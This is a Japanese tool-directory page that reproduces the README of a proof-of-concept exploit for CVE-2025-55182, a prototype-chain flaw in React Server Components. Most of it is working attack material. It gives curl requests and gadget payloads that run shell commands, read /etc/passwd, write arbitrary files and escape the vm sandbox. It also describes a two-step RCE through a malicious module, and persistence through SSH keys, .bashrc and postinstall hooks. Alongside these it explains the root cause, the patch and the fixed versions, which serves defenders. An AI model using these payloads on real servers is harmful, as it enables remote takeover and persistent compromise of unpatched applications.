Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
exploit-CVE-2025-55182-poc — このPOCは、実際の`react-server-dom-webpack@19.0.0`の脆弱性コードを使用してCVE-2025-55182を実証します。 | Kitploit
ツール/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用論文と研究学習と教育リモートアクセスツールペイロード開発
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

このPOCは、実際の`[email protected]`の脆弱性コードを使用してCVE-2025-55182を実証します。

リポジトリを見る
129ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182 - React Server Components プロトタイプチェーン脆弱性

このPOCは、実際の脆弱なコードである [email protected] を使用して CVE-2025-55182 を実証します。

CVE-2025-55182 緊急修正ガイド: Next.js/React RSC 脆弱性 (CVSS 10.0) の完全な分析と緩和策

このリポジトリは https://github.com/ejpir/CVE-2025-55182-poc からフォークされたもので、まだ検証されていません! 十分に注意し、慎重に検証してください!

クイックスタート

root@kitploit:~
# Install dependencies
npm install

# Start vulnerable server (port 3002)
npm start

# Run RCE exploit
npm run exploit

想定される出力

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

NPM スクリプト

root@kitploit:~
# Servers
npm start              # Start main server (server-realistic.js, port 3002)
npm run start:legacy   # Start legacy server (server.js, port 3002)
npm run start:module   # Start module server (port 3003) - hypothetical, see note below

# Exploits (use with npm start)
npm run exploit            # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all        # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research   # Prototype chain research

# Hypothetical exploits (use with start:module)
npm run exploit:module     # Two-step RCE via module#_load
npm run exploit:indirect   # Two-step RCE with proof file

注記: module エクスプロイトは仮説上のものです。module 組み込みモジュールが本番アプリに バンドルされることはほとんどありません。これらは、fs と module のみが利用可能な場合 (vm/child_process なし) の理論上の攻撃経路を示しています。実際には、fs を持つアプリは 通常、sharp、puppeteer、execa などの依存関係を通じて child_process も持っています。

個別ガジェットのテスト

root@kitploit:~
# Start server first
npm start

# Test fs read
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Test command execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Test vm code execution
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

主要ファイル

サーバー

ファイルポート説明
src/server-realistic.js3002メインサーバー - 一般的なモジュール (fs、vm、child_process) を含む webpack バンドルをシミュレート
src/server.js3002レガシーサーバー (直接 require を使用)
src/server-module-test.js3003module + fs を使用するサーバー (研究用)

エクスプロイトスクリプト

ファイル説明
exploit-rce-v4.js主要な RCE (vm#runInThisContext 経由)
exploit-all-gadgets.jsすべての RCE ガジェットをテスト (vm、child_process、fs)
exploit-module-load.jsfs + module#_load による2段階 RCE
exploit-indirect-rce.js証明ファイル作成による2段階 RCE
exploit-persistence.js永続化攻撃 (SSH 鍵、.bashrc)
exploit-research.jsプロトタイプチェーン研究

server-realistic.js の仕組み

アプリが依存関係を通じて危険なモジュールをバンドルすることが一般的な、実際の webpack バンドルをシミュレートします:

root@kitploit:~
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* user's server actions */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

__webpack_require__ 関数は BUNDLED_MODULES からのみモジュールをロードし、実際の webpack の動作をシミュレートします。

脆弱性

根本原因

requireModule() では、エクスポートが hasOwnProperty チェックなしでブラケット記法によりアクセスされます:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // Accesses prototype chain!

// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

攻撃ベクトル

  1. $ACTION_REF_0 をバインドされたアクションメタデータとともに送信する
  2. id: 'vm#runInThisContext' が vm モジュールをロードし、runInThisContext エクスポートにアクセスする
  3. bound 配列が関数の引数になる
  4. アクションが呼び出されると: runInThisContext(CODE) が任意のコードを実行する

検証済みの全 RCE ガジェット

ガジェットステータス説明
vm#runInThisContext✓現在のコンテキストで任意の JS を実行
vm#runInNewContext✓「サンドボックス」内で実行 (簡単に脱出可能)
child_process#execSync✓シェルコマンドを直接実行
child_process#execFileSync✓バイナリファイルを実行
child_process#spawnSync✓プロセスを起動 (オブジェクトを返す)
module#_load✓JS ファイルをロードして実行 (fs と組み合わせた2段階)
fs#readFileSync✓任意のファイルを読み取り
fs#writeFileSync✓任意のファイルを書き込み

ガジェットペイロードの例

シェルコマンドを実行 (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

機密ファイルを読み取り:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

ファイルをディスクに書き込み:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

任意の JavaScript を実行:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

サンドボックス脱出 (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

代替攻撃経路

vm または child_process は必要か?

直接 RCE の場合: はい、次のいずれかが必要です:

  • vm モジュール (runInThisContext、runInNewContext)
  • child_process モジュール (execSync、execFileSync、spawnSync)

間接 RCE の場合 (fs のみ): いいえ! fs だけで以下が可能です:

  • ~/.ssh/authorized_keys に書き込む → SSH アクセス
  • ~/.bashrc に追記する → 次回ログイン時にコード実行
  • node_modules/* を上書きする → アプリ再起動時に RCE
  • package.json の postinstall を変更する → 次回の npm install 時に RCE

仮説: module#_load による2段階 RCE

注記: これは仮説上のものです。module 組み込みモジュールが本番環境にバンドルされることはほとんどありません。

root@kitploit:~
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!

比較結果

バージョン攻撃結果
React 19.0.0vm#runInThisContext✓ RCE 達成
React 19.2.1vm#runInThisContext✗ ブロック

パッチ適用版のテスト

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail

脆弱な npm パッケージ

危険なモジュールを含む人気 npm パッケージの調査については、VULNERABLE-PACKAGES.md を参照してください:

モジュール週間ダウンロード数人気パッケージ
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

影響を受けるバージョン

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

修正されたバージョン

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
ツールをダウンロード